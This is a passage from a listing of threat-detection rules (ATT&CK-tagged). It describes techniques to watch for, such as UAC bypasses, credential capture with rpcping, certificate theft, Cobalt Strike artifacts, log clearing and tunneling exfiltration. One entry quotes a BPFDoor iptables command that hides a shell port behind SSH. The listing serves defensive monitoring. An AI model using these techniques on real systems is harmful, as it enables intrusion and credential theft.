focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

Read More
Base64 Encoded PowerShell Command Detected

Aug 12, 2024 · attack.t1027 attack.defense-evasion attack.t1140 attack.t1059.001 ·
Share on:

Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string

Read More
Base64 MZ Header In CommandLine

Aug 12, 2024 · attack.execution ·
Share on:

Detects encoded base64 MZ header in the commandline

Read More
Bash Interactive Shell

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the bash shell with the interactive flag "-i".

Read More
Binary Padding - Linux

Aug 12, 2024 · attack.defense-evasion attack.t1027.001 ·
Share on:

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

Read More
Binary Padding - MacOS

Aug 12, 2024 · attack.defense-evasion attack.t1027.001 ·
Share on:

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

Read More
Bitbucket Audit Log Configuration Updated

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to the bitbucket audit log configuration.

Read More
Bitbucket Full Data Export Triggered

Aug 12, 2024 · attack.collection attack.t1213.003 ·
Share on:

Detects when full data export is attempted.

Read More
Bitbucket Global Permission Changed

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1098 ·
Share on:

Detects global permissions change activity.

Read More
Bitbucket Global Secret Scanning Rule Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects Bitbucket global secret scanning rule deletion activity.

Read More
Bitbucket Global SSH Settings Changed

Aug 12, 2024 · attack.lateral-movement attack.defense-evasion attack.t1562.001 attack.t1021.004 ·
Share on:

Detects Bitbucket global SSH access configuration changes.

Read More
Bitbucket Project Secret Scanning Allowlist Added

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when a secret scanning allowlist rule is added for projects.

Read More
Bitbucket Secret Scanning Exempt Repository Added

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when a repository is exempted from secret scanning feature.

Read More
Bitbucket Secret Scanning Rule Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when secret scanning rule is deleted for the project or repository.

Read More
Bitbucket Unauthorized Access To A Resource

Aug 12, 2024 · attack.resource-development attack.t1586 ·
Share on:

Detects unauthorized access attempts to a resource.

Read More
Bitbucket Unauthorized Full Data Export Triggered

Aug 12, 2024 · attack.collection attack.resource-development attack.t1213.003 attack.t1586 ·
Share on:

Detects when full data export is attempted an unauthorized user.

Read More
Bitbucket User Details Export Attempt Detected

Aug 12, 2024 · attack.collection attack.reconnaissance attack.discovery attack.t1213 attack.t1082 attack.t1591.004 ·
Share on:

Detects user data export activity.

Read More
Bitbucket User Login Failure

Aug 12, 2024 · attack.defense-evasion attack.credential-access attack.t1078.004 attack.t1110 ·
Share on:

Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field.

Read More
Bitbucket User Login Failure Via SSH

Aug 12, 2024 · attack.t1021.004 attack.t1110 ·
Share on:

Detects SSH user login access failures. Please note that this rule can be noisy and is recommended to use with correlation based on "author.name" field.

Read More
Bitbucket User Permissions Export Attempt

Aug 12, 2024 · attack.reconnaissance attack.t1213 attack.t1082 attack.t1591.004 ·
Share on:

Detects user permission data export attempt.

Read More
Bitlocker Key Retrieval

Aug 12, 2024 · attack.defense-evasion attack.t1078.004 ·
Share on:

Monitor and alert for Bitlocker key retrieval.

Read More
BitLockerTogo.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing.

Read More
BITS Transfer Job Download From Direct IP

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects a BITS transfer job downloading file(s) from a direct IP address.

Read More
BITS Transfer Job Download To Potential Suspicious Folder

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location

Read More
BITS Transfer Job Downloading File Potential Suspicious Extension

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects new BITS transfer job saving local files with potential suspicious extensions

Read More
BITS Transfer Job With Uncommon Or Suspicious Remote TLD

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.

Read More
Bitsadmin to Uncommon IP Server Address

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.defense-evasion attack.persistence attack.t1197 attack.s0190 ·
Share on:

Detects Bitsadmin connections to IP addresses instead of FQDN names

Read More
Bitsadmin to Uncommon TLD

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.defense-evasion attack.persistence attack.t1197 attack.s0190 ·
Share on:

Detects Bitsadmin connections to domains with uncommon TLDs

Read More
Blackbyte Ransomware Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption

Read More
BloodHound Collection Files

Aug 12, 2024 · attack.discovery attack.t1087.001 attack.t1087.002 attack.t1482 attack.t1069.001 attack.t1069.002 attack.execution attack.t1059.001 ·
Share on:

Detects default file names outputted by the BloodHound collection tool SharpHound

Read More
Blue Mockingbird

Aug 12, 2024 · attack.execution attack.t1112 attack.t1047 detection.emerging-threats ·
Share on:

Attempts to detect system changes made by Blue Mockingbird

Read More
Blue Mockingbird - Registry

Aug 12, 2024 · attack.execution attack.t1112 attack.t1047 ·
Share on:

Attempts to detect system changes made by Blue Mockingbird

Read More
BlueSky Ransomware Artefacts

Aug 12, 2024 · attack.impact attack.t1486 detection.emerging-threats ·
Share on:

Detect access to files and shares with names and extensions used by BlueSky ransomware which could indicate a current or previous encryption attempt.

Read More
Boot Configuration Tampering Via Bcdedit.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.

Read More
BPFDoor Abnormal Process ID or Lock File Accessed

Aug 12, 2024 · attack.execution attack.t1106 attack.t1059 ·
Share on:

detects BPFDoor .lock and .pid files access in temporary file storage facility

Read More
Bpfdoor TCP Ports Redirect

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.

Read More
BPFtrace Unsafe Option Usage

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects the usage of the unsafe bpftrace option

Read More
Browser Execution In Headless Mode

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of Chromium based browser in headless mode

Read More
Browser Started with Remote Debugging

Aug 12, 2024 · attack.credential-access attack.t1185 ·
Share on:

Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks

Read More
Buffer Overflow Attempts

Aug 12, 2024 · attack.t1068 attack.privilege-escalation ·
Share on:

Detects buffer overflow attempts in Unix system log files

Read More
Bulk Deletion Changes To Privileged Account Permissions

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects when a user is removed from a privileged role. Bulk changes should be investigated.

Read More
Bypass UAC Using DelegateExecute

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

Bypasses User Account Control using a fileless method

Read More
Bypass UAC Using Event Viewer

Aug 12, 2024 · attack.persistence attack.t1547.010 ·
Share on:

Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification

Read More
Bypass UAC Using SilentCleanup Task

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.

Read More
Bypass UAC via CMSTP

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 attack.t1218.003 ·
Share on:

Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files

Read More
Bypass UAC via Fodhelper.exe

Aug 12, 2024 · attack.privilege-escalation attack.t1548.002 ·
Share on:

Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.

Read More
Bypass UAC via WSReset.exe

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.

Read More
C# IL Code Compilation Via Ilasm.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects the use of "Ilasm.EXE" in order to compile C# intermediate (IL) code to EXE or DLL.

Read More
CA Policy Removed by Non Approved Actor

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1548 attack.t1556 ·
Share on:

Monitor and alert on conditional access changes where non approved actor removed CA Policy.

Read More
CA Policy Updated by Non Approved Actor

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1548 attack.t1556 ·
Share on:

Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.

Read More
Capabilities Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.

Read More
Capture Credentials with Rpcping.exe

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.

Read More
Cat Sudoers

Aug 12, 2024 · attack.reconnaissance attack.t1592.004 ·
Share on:

Detects the execution of a cat /etc/sudoers to list all users that have sudo rights

Read More
Certificate Exported From Local Certificate Store

Aug 12, 2024 · attack.credential-access attack.t1649 ·
Share on:

Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.

Read More
Certificate Exported Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates.

Read More
Certificate Exported Via PowerShell

Aug 12, 2024 · attack.credential-access attack.execution attack.t1552.004 attack.t1059.001 ·
Share on:

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

Read More
Certificate Exported Via PowerShell - ScriptBlock

Aug 12, 2024 · attack.credential-access attack.t1552.004 ·
Share on:

Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

Read More
Certificate Private Key Acquired

Aug 12, 2024 · attack.credential-access attack.t1649 ·
Share on:

Detects when an application acquires a certificate private key

Read More
Certificate Request Export to Exchange Webserver

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell

Read More
Certificate-Based Authentication Enabled

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1556 ·
Share on:

Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.

Read More
Chafer Malware URL Pattern

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects HTTP request used by Chafer malware to receive data from its C2.

Read More
Change Default File Association To Executable Via Assoc

Aug 12, 2024 · attack.persistence attack.t1546.001 ·
Share on:

Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

Read More
Change Default File Association Via Assoc

Aug 12, 2024 · attack.persistence attack.t1546.001 ·
Share on:

Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

Read More
Change PowerShell Policies to an Insecure Level

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.

Read More
Change PowerShell Policies to an Insecure Level - PowerShell

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet.

Read More
Change the Fax Dll

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect possible persistence using Fax DLL load when service restart

Read More
Change to Authentication Method

Aug 12, 2024 · attack.credential-access attack.t1556 attack.persistence attack.defense-evasion attack.t1098 ·
Share on:

Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.

Read More
Change User Account Associated with the FAX Service

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect change of the user account associated with the FAX service to avoid the escalation problem.

Read More
Change User Agents with WebRequest

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Read More
Change Winevt Channel Access Permission Via Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel.

Read More
Changes to Device Registration Policy

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1484 ·
Share on:

Monitor and alert for changes to the device registration policy.

Read More
Changes To PIM Settings

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1078.004 ·
Share on:

Detects when changes are made to PIM roles

Read More
Changing Existing Service ImagePath Value Via Reg.EXE

Aug 12, 2024 · attack.persistence attack.t1574.011 ·
Share on:

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

Read More
Chmod Suspicious Directory

Aug 12, 2024 · attack.defense-evasion attack.t1222.002 ·
Share on:

Detects chmod targeting files in abnormal directory paths.

Read More
Chopper Webshell Process Pattern

Aug 12, 2024 · attack.persistence attack.t1505.003 attack.t1018 attack.t1033 attack.t1087 ·
Share on:

Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells

Read More
Chromium Browser Headless Execution To Mockbin Like Site

Aug 12, 2024 · attack.execution ·
Share on:

Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).

Read More
Cisco ASA FTD Exploit CVE-2020-3452

Aug 12, 2024 · attack.t1190 attack.initial-access cve.2020-3452 detection.emerging-threats ·
Share on:

Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)

Read More
Cisco BGP Authentication Failures

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·
Share on:

Detects BGP failures which may be indicative of brute force attacks to manipulate routing

Read More
Cisco Clear Logs

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·
Share on:

Clear command history in network OS which is used for defense evasion

Read More
Cisco Collect Data

Aug 12, 2024 · attack.discovery attack.credential-access attack.collection attack.t1087.001 attack.t1552.001 attack.t1005 ·
Share on:

Collect pertinent data from the configuration files

Read More
Cisco Crypto Commands

Aug 12, 2024 · attack.credential-access attack.defense-evasion attack.t1553.004 attack.t1552.004 ·
Share on:

Show when private keys are being exported from the device, or when new certificates are installed

Read More
Cisco Denial of Service

Aug 12, 2024 · attack.impact attack.t1495 attack.t1529 attack.t1565.001 ·
Share on:

Detect a system being shutdown or put into different boot mode

Read More
Cisco Disabling Logging

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Turn off logging locally or remote

Read More
Cisco Discovery

Aug 12, 2024 · attack.discovery attack.t1083 attack.t1201 attack.t1057 attack.t1018 attack.t1082 attack.t1016 attack.t1049 attack.t1033 attack.t1124 ·
Share on:

Find information about network devices that is not stored in config files

Read More
Cisco Duo Successful MFA Authentication Via Bypass Code

Aug 12, 2024 · attack.credential-access attack.defense-evasion attack.initial-access ·
Share on:

Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.

Read More
Cisco File Deletion

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1070.004 attack.t1561.001 attack.t1561.002 ·
Share on:

See what files are being deleted from flash file systems

Read More
Cisco LDP Authentication Failures

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·
Share on:

Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels

Read More
Cisco Local Accounts

Aug 12, 2024 · attack.persistence attack.t1136.001 attack.t1098 ·
Share on:

Find local accounts being created or modified as well as remote authentication configurations

Read More
Cisco Modify Configuration

Aug 12, 2024 · attack.persistence attack.impact attack.t1490 attack.t1505 attack.t1565.002 attack.t1053 ·
Share on:

Modifications to a config that will serve an adversary's impacts or persistence

Read More
Cisco Show Commands Input

Aug 12, 2024 · attack.credential-access attack.t1552.003 ·
Share on:

See what commands are being input into the device by other people, full credentials can be in the history

Read More
Cisco Sniffing

Aug 12, 2024 · attack.credential-access attack.discovery attack.t1040 ·
Share on:

Show when a monitor or a span/rspan is setup or modified

Read More
Cisco Stage Data

Aug 12, 2024 · attack.collection attack.lateral-movement attack.command-and-control attack.exfiltration attack.t1074 attack.t1105 attack.t1560.001 ·
Share on:

Various protocols maybe used to put data on the device for exfil or infil

Read More
Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2020-8193 cve.2020-8195 detection.emerging-threats ·
Share on:

Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195

Read More
Citrix Netscaler Attack CVE-2019-19781

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2019-19781 detection.emerging-threats ·
Share on:

Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack

Read More
Classes Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Clear Linux Logs

Aug 12, 2024 · attack.defense-evasion attack.t1070.002 ·
Share on:

Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion

Read More
Clearing Windows Console History

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1070.003 ·
Share on:

Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.

Read More
Cleartext Protocol Usage

Aug 12, 2024 · attack.credential-access ·
Share on:

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

Read More
Cleartext Protocol Usage Via Netflow

Aug 12, 2024 · attack.credential-access ·
Share on:

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

Read More
ClickOnce Trust Prompt Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to the ClickOnce trust prompt registry key in order to enable an installation from different locations such as the Internet.

Read More
Clipboard Collection of Image Data with Xclip Tool

Aug 12, 2024 · attack.collection attack.t1115 ·
Share on:

Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

Read More
Clipboard Collection with Xclip Tool

Aug 12, 2024 · attack.collection attack.t1115 ·
Share on:

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

Read More
Clipboard Collection with Xclip Tool - Auditd

Aug 12, 2024 · attack.collection attack.t1115 ·
Share on:

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

Read More
Clipboard Data Collection Via OSAScript

Aug 12, 2024 · attack.collection attack.execution attack.t1115 attack.t1059.002 ·
Share on:

Detects possible collection of data from the clipboard via execution of the osascript binary

Read More
CLR DLL Loaded Via Office Applications

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects CLR DLL being loaded by an Office Product

Read More
Cmd.EXE Missing Space Characters Execution Anomaly

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).

Read More
CMSTP Execution Process Access

Aug 12, 2024 · attack.defense-evasion attack.t1218.003 attack.execution attack.t1559.001 attack.g0069 attack.g0080 car.2019-04-001 ·
Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Read More
CMSTP Execution Process Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.003 attack.g0069 car.2019-04-001 ·
Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Read More
CMSTP Execution Registry Event

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.003 attack.g0069 car.2019-04-001 ·
Share on:

Detects various indicators of Microsoft Connection Manager Profile Installer execution

Read More
Cobalt Strike DNS Beaconing

Aug 12, 2024 · attack.command-and-control attack.t1071.004 ·
Share on:

Detects suspicious DNS queries known from Cobalt Strike beacons

Read More
CobaltStrike Load by Rundll32

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.

Read More
CobaltStrike Named Pipe

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects the creation of a named pipe as used by CobaltStrike

Read More
CobaltStrike Named Pipe Pattern Regex

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles

Read More
CobaltStrike Named Pipe Patterns

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 stp.1k ·
Share on:

Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles

Read More
CobaltStrike Service Installations - Security

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

Read More
CobaltStrike Service Installations - System

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

Read More
Code Executed Via Office Add-in XLL File

Aug 12, 2024 · attack.persistence attack.t1137.006 ·
Share on:

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs

Read More
Code Execution via Pcwutl.dll

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.

Read More
Code Injection by ld.so Preload

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1574.006 ·
Share on:

Detects the ld.so preload persistence file. See man ld.so for more information.

Read More
CodeIntegrity - Blocked Driver Load With Revoked Certificate

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·
Share on:

Detects blocked load attempts of revoked drivers

Read More
CodeIntegrity - Blocked Image Load With Revoked Certificate

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects blocked image load events with revoked certificates by code integrity.

Read More
CodeIntegrity - Blocked Image/Driver Load For Policy Violation

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·
Share on:

Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.

Read More
CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects block events for files that are disallowed by code integrity for protected processes

Read More
CodeIntegrity - Revoked Image Loaded

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects image load events with revoked certificates by code integrity.

Read More
CodeIntegrity - Revoked Kernel Driver Loaded

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects the load of a revoked kernel driver

Read More
CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects loaded kernel modules that did not meet the WHQL signing requirements.

Read More
CodeIntegrity - Unsigned Image Loaded

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects loaded unsigned image on the system

Read More
CodeIntegrity - Unsigned Kernel Module Loaded

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects the presence of a loaded unsigned kernel module on the system.

Read More
COLDSTEEL Persistence Service Creation

Aug 12, 2024 · attack.defense-evasion attack.persistence detection.emerging-threats ·
Share on:

Detects the creation of new services potentially related to COLDSTEEL RAT

Read More
COLDSTEEL RAT Anonymous User Process Execution

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects the creation of a process executing as user called "ANONYMOUS" seen used by the "MileStone2016" variant of COLDSTEEL

Read More
COLDSTEEL RAT Cleanup Command Execution

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples

Read More
COLDSTEEL RAT Service Persistence Execution

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT

Read More
COM Hijack via Sdclt

Aug 12, 2024 · attack.privilege-escalation attack.t1546 attack.t1548 ·
Share on:

Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'

Read More
COM Hijacking via TreatAs

Aug 12, 2024 · attack.persistence attack.t1546.015 ·
Share on:

Detect modification of TreatAs key to enable "rundll32.exe -sta" command

Read More
Command Line Execution with Suspicious URL and AppData Strings

Aug 12, 2024 · attack.execution attack.command-and-control attack.t1059.003 attack.t1059.001 attack.t1105 ·
Share on:

Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)

Read More
Commands to Clear or Remove the Syslog

Aug 12, 2024 · attack.defense-evasion attack.t1070.002 ·
Share on:

Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks

Read More
Commands to Clear or Remove the Syslog - Builtin

Aug 12, 2024 · attack.impact attack.t1565.001 ·
Share on:

Detects specific commands commonly used to remove or empty the syslog

Read More
Common Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Communication To LocaltoNet Tunneling Service Initiated

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.t1090 attack.t1102 ·
Share on:

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

Read More
Communication To LocaltoNet Tunneling Service Initiated - Linux

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.t1090 attack.t1102 ·
Share on:

Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.

Read More
Communication To Ngrok Tunneling Service - Linux

Aug 12, 2024 · attack.exfiltration attack.command-and-control attack.t1567 attack.t1568.002 attack.t1572 attack.t1090 attack.t1102 attack.s0508 ·
Share on:

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

Read More
Communication To Ngrok Tunneling Service Initiated

Aug 12, 2024 · attack.exfiltration attack.command-and-control attack.t1567 attack.t1568.002 attack.t1572 attack.t1090 attack.t1102 attack.s0508 ·
Share on:

Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.

Read More
Communication To Uncommon Destination Ports

Aug 12, 2024 · attack.persistence attack.command-and-control attack.t1571 ·
Share on:

